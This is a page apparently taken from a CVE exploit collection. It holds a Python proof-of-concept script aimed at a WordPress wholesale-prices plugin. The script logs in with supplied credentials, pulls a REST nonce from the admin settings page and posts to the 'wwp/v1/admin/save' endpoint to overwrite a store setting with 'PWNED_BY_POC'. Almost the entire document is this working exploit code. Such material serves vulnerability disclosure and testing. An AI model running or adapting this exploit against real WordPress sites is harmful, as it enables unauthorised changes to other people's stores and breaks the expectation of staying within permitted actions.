5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import re
import sys
import json
import argparse
import requests
from urllib.parse import urljoin


def wp_login(session, base_url, username, password):
    login_url = urljoin(base_url, "/wp-login.php")

    r = session.get(login_url, timeout=20)
    if r.status_code != 200:
        print("[-] Failed to load login page")
        sys.exit(1)

    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": urljoin(base_url, "/wp-admin/"),
        "testcookie": "1"
    }

    r = session.post(login_url, data=data, timeout=20, allow_redirects=True)

    if "wp-admin" not in r.url:
        print("[-] Login failed")
        sys.exit(1)

    print("[+] Logged in successfully")

    cookies = session.cookies.get_dict()
    if not any("wordpress_logged_in" in k for k in cookies):
        print("[-] Missing wordpress_logged_in cookie")
        sys.exit(1)


def extract_nonce_and_rest(html):
    match = re.search(r'wpApiSettings\s*=\s*(\{.*?\})', html)

    if match:
        try:
            data = json.loads(match.group(1))
            if "nonce" in data and "root" in data:
                print("[+] Using wpApiSettings nonce")
                return data["nonce"], data["root"]
        except Exception:
            pass

    print("[!] wpApiSettings not found, fallback mode")

    nonce_candidates = re.findall(r'"nonce":"([a-f0-9]+)"', html)
    rest_match = re.search(r'"root":"([^"]+)"', html)

    if not nonce_candidates or not rest_match:
        print("[-] Failed to extract nonce or REST root")
        sys.exit(1)

    rest_root = json.loads(f'"{rest_match.group(1)}"')

    print(f"[!] Found {len(nonce_candidates)} nonce candidates")

    return nonce_candidates[0], rest_root


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base-url", required=True)
    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--debug", action="store_true")
    args = parser.parse_args()

    base_url = args.base_url.strip().rstrip("/")

    if not base_url.startswith("http"):
        print("[-] Invalid base URL")
        sys.exit(1)

    session = requests.Session()

    print(f"[+] Base URL: {base_url}")
    print(f"[+] Username: {args.username}")

    wp_login(session, base_url, args.username, args.password)

    admin_url = urljoin(
        base_url,
        "/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices"
    )

    r = session.get(admin_url, timeout=20)

    if r.status_code != 200:
        print("[-] Failed to access admin page")
        sys.exit(1)

    print(f"[+] Accessed admin page: {admin_url}")

    nonce, rest_root = extract_nonce_and_rest(r.text)

    print(f"[+] Nonce: {nonce}")
    print(f"[+] REST root: {rest_root}")

    payload = [
        {
            "key": "wwp_see_wholesale_prices_replacement_text",
            "value": "PWNED_BY_POC"
        }
    ]

    target = urljoin(rest_root, "wwp/v1/admin/save")

    headers = {
        "X-WP-Nonce": nonce,
        "Content-Type": "application/json",
        "Referer": admin_url,
        "Origin": base_url,
        "User-Agent": "Mozilla/5.0 (PoC)"
    }

    print(f"[+] Sending payload to: {target}")

    r = session.post(
        target,
        json=payload,
        headers=headers,
        timeout=20
    )

    print(f"[+] HTTP status: {r.status_code}")
    print(r.text)

    if r.status_code == 200:
        print("[+] PoC SUCCESS (pwnd)")
        print("[*] Verify via incognito (not logged in):")
        print("    - Open product page")
        print("    - Look for: PWNED_BY_POC")
    else:
        print("[-] PoC failed")
        if args.debug:
            print("[DEBUG] Cookies:", session.cookies.get_dict())


if __name__ == "__main__":
    main()